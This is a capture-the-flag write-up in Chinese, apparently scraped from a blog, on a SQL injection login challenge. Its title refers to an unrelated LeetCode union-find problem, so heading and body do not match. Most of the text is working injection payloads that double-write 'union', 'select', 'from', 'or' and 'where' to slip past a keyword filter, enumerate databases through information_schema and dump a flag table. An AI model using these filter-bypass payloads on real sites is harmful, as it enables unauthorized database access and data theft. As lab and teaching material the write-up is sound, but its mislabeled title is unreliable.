1. 程式人生 > 實用技巧 >1579. 保證圖可完全遍歷(並查集)

1579. 保證圖可完全遍歷(並查集)

題目

拿到題目是一個登入框,結合題目來看,應該是個注入題

點選登入之後

分析

?username=admin&password=admin'

?username=admin&password=admin' oorr 1=1--+

?username=admin&password=admin' ununionion seselectlect 1,2,3--+

發現or,union,select都被過濾了,可以雙寫繞過

開始爆庫

?username=admin&password=admin' ununionion seselectlect 1,2,database()--+

發現當前連線的資料庫是geek

爆破所有的資料庫

?username=admin&password=pwd' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23

我們發現了有一個ctf的庫,猜想可能從這個庫中得到flag(我們還是用geek這個庫演示)

爆表,此時注意information被過濾了or,from也被過濾了,還包括where所以都雙寫一下

?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables)whwhereere table_schema="geek" %23

爆ctf庫的表ctf庫的表 ,此處發現Flag表

?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23

查Flag表中的欄位名都有什麼

?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23

最後檢視欄位的資料

?username=admin&password=pwd %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)%23

得到flag{09e4d1ce-896c-4ce8-a0cd-69a8b3297d28}